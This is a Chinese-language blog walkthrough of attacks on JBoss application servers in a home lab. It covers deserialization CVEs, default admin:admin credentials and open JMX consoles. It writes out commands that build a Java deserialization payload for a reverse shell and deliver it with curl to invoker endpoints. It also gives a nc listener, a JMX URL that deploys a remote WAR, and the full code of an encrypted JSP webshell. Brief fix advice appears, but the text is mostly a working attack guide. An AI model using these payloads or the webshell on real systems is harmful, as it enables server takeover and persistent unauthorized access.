Jboss渗透合集

Jboss

前言

JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或 Jetty绑定使用。

Jetty是一个开源的servlet容器,它为基于Java的web容器,例如JSP和 servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将 Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。

默认端口

  1. 8080 9990

安装

官网: https://jbossas.jboss.org/downloads/

需要安装Java环境 这里要注意JDK的版本 java7

1619447111171

配置Jboss环境变量

  1. JBOSS_HOME C:\JBoss6\jboss-6.1.0.Final

1619446909142

  1. ;%JBOSS_HOME%\bin;

1619446953719

1619490387253

进行启动

1619447249477

出现INFO 说明配置成功

1619447305216

Jboss默认部署路径

  1. xxx\jboss-6.1.0.Final\server\default\deploy\ROOT.war

本地访问一下

1619486155535

修改内容 达到远程访问

xxx\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml修改配置

1619486216237

  1. address="${jboss.bind.address}"-->address="0.0.0.0"

重启一下

kali远程访问

1619488579969

Jboss渗透

JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)

漏洞原理

JBOSSApplication Server反序列化命令执行漏洞,远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码

影响范围:

JBoss 5.x/6.x

验证是否存在漏洞

  1. /invoker/readonly

1619488613005

返回500,说明此页面存在反序列化漏洞

漏洞利用

配置javac的环境

我这边在kali进行操作

  1. cd /opt
  2. curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
  3. ## 这里要科学上网 配置代理
  4. tar zxvf jdk-8u20-linux-x64.tar.gz
  5. rm -rf /usr/bin/java*
  6. ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
  7. javac -version
  8. java -version

成功安装

不用管上面那个报错

1619488997104

利用工具:JavaDeserH2HC

  1. https://github.com/joaomatosf/JavaDeserH2HC

我们选择一个 Gadget:ReverseshellCommonsCollectionsHashMap,编译并生成序列化数据:

1619489165555

生成:ReverseShellCommonsCollectionsHashMap.class

  1. javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

生成:ReverseShellCommonsCollectionsHashMap.ser

  1. java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:端口
  2. #IP和端口是vps上nc监听的
  3. java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.175.161:8888

开启监听

  1. nc -lvvp 8888

利用:ReverseShellCommonsCollectionsHashMap.ser

  1. curl http://192.168.175.195:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功拿到反弹shell

1619489453167

JBoss JMXInvokerServlet反序列化漏洞(CVE-2015-7501)

漏洞原理

JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化

漏洞影响

  1. Red Hat JBoss A-MQ6.x版本;
  2. BPM Suite(BPMs)6.x版本;
  3. BRMS6x版本和5.x版本;
  4. Data Grid(JDG)6.x版本;
  5. Data virtualization(JDV)6.x版本和5.x版本;
  6. Enterprise Application Platform6.x版本,5.x版本和4.3版本;
  7. FuSe6.X版本;Fuse Service Works(FSW)6.x版本;
  8. Operations Network JBOSs On 3.x版本;Portalc6.x版本;
  9. SOA Platforn(SOA-P)5.x版本Web Server JWS)3.x版本;
  10. Red Hat OpenShift/XPAAS 3.x版本;
  11. Red Hat Subscription Asset Manager1.3版本

验证漏洞

  1. /invoker/JMXInvokerServlet

1619489513404

如上,说明接口开放,此接口存在反序列化漏洞

漏洞利用

直接利用CVE-2017-12149的ReverseShellCommonsCollectionsHashMap.ser发送到/invoker/JMXInvokerServlet接口中

  1. curl http://192.168.175.195:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

同样是要开启监听

1619489712013

成功拿到shell

1619489746945

修复建议

1.不需要http-invoker.sar组件的用户 可以直接删除掉

路径为:C:\JBoss6\jboss-6.1.0.Final\server\default\deploy

1619578923043

2.添加如下代码至http-invoker.sar下web.xml的security-constraint标签中,对http-invoker组件进行访问控制

1619579149845

  1. <url-pattern>/*</url-pattern>

1619579472052

JbossMO JMS反序列化漏洞(CVE-2017-7504)

漏洞原理

Jboss AS 4.x及之前版本中,JbossMQ实现过程的 JMS over HTTP Invocation Layer的HTTPServerlLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码

影响版本

Jboss AS 4.x以及之前所有的版本

安装Jboss4

需要安装Java环境 这里要注意JDK的版本 java6

1619490273026

同样是需要配置Jboss环境变量

1619490342237

运行run.bat

出现INFO 配置成功

1619491136856

本地访问一下

1619491203863

配置远程登录

  1. C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer

1619491306567

1619491370434

  1. address="${jboss.bind.address}"-->address="0.0.0.0"

保存退出 重启一下run.bat

kali远程访问

1619491472926

验证漏洞

  1. /jbossmq-httpil/HTTPServerILServlet

1619491523601

说明是存在漏洞

漏洞利用

  1. curl http://192.168.175.196:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @
  2. ReverseShellCommonsCollectionsHashMap.ser

1619499269483

1619499250210

修复建议

升级版本!

JBoss EJBlnvokerServle反序列化漏洞(CVE-2013-4810)

验证漏洞

  1. /invoker/EJBInvokerServle

能返回结果 就可以利用

两者区别

与(CVE-2015-7501)漏洞原理相同,这里详细介绍一下两者的区别

其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和 EJBInvokerServlet利用的是org.jboss.invocation.Marshalledvalue进行的反序列化操作

而Web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件

Administration Console弱口令

Administration Console管理页面存在弱口令

存在管理界面

1619500280595

弱口令:

admin:admin

然后没有验证码 可以爆破

登陆后台上传war包!

这里有上传按钮

1619500962012

这边用冰蝎的马儿 进行打包war 上传

1619501373965

那么上传目录

就是war包名所在的文件夹

  1. /shell/shell.jsp

1619501480638

1619501724403

1619501693853

修复建议

1.修改密码

默认密码的位置

  1. C:\JBoss6\jboss-6.1.0.Final\server\default\conf\props

1619501855534

1619501876281

2.删除 Administration Console页面

Jboss版本>=6.0,Administration Console页面路径为

  1. C:\jboss-6.1.0.Final\common\deploy\admin-console.war

6.0之前的版本

  1. C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

低版本 JMX Console未授权访问

漏洞原理

JMX Console是Jboss管理控制台,访问控制不严导致的漏洞!

Jboss 4.x及其之前的版本 console管理路径为/jmx-console/和/web-console/!

  • jmx-console的配置文件为
  1. /opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
  2. #jboss的绝对路径不同网站不一样
  • Web-Conso|e的配置文件为
  1. /opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml#jboss的绝对路径不同网站不一样
  • 控制台账号密码
  • jmx-console和web-console共用一个账号密码,账号密码文件在
  1. /opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties

漏洞利用

1619511607443

1619511690973

保存的路径

1619511810391

继续往下翻

1619511744704

远程war包部署

  1. service apache2 startpython -m SimpleHTTPServer 9999

自己本地访问一下 发现是可以的

1619596539216

1619596279104

1619596609992

部署成功

查看部署情况 这里要点击一下 Apply Changes 进行部署

然后在jboss.web.dep

高版本JMX Console未授权访问

漏洞利用

1619566650837

1619566687530

部署地址

1619566759737

查看框架的源代码 我们要找的是methodIndex17/19的 deploy,填写远程war包的地址进行远程部署

1619566920905

1619566941997

对应的是

1619566961392

部署成功后 进行点击

  1. http://192.168.175.194:8080/jmx-console/HtmlAdaptor?action=invokeOp&amp;name=jboss.system:service=MainDeployer&amp;methodIndex=17&amp;arg0=http://xxxx/1.war

然后冰蝎进行远程连接 就可

本地检查 部署的文件

路径:

  1. C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost

漏洞复现

定位到store的位置

  1. http://192.168.175.196:8080/jmx-console/HtmlAdaptor?action=inspectMBean&amp;name=jboss.admin:service=DeploymentFileRepository

通过向store的四个参数传入信息 达到上传shell

1619580666827

这里上传冰蝎的jsp木马

  1. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
  1. /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/

1619580826442

1619580855423

这边写一个情况

本地测试之后 发现上传的文档 在这里

1619580914678

在这个目录下 有问题

自动化渗透

  1. sudo pip install -r requires.txt

1619568126765

执行命令 拿jboss4举例

  1. python jexboss.py -host http://192.168.175.196:8080

进行利用 就可以了

1619568214558

总结

Jboss是一个基于J2EE的开放源代码应用服务器

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。

但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用

希望此文对大家有帮助!

版权声明:
作者:jianxin
链接:http://usg0v.com/?p=74
来源:剑心哥哥Blogs
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
< <上一篇
下一篇>>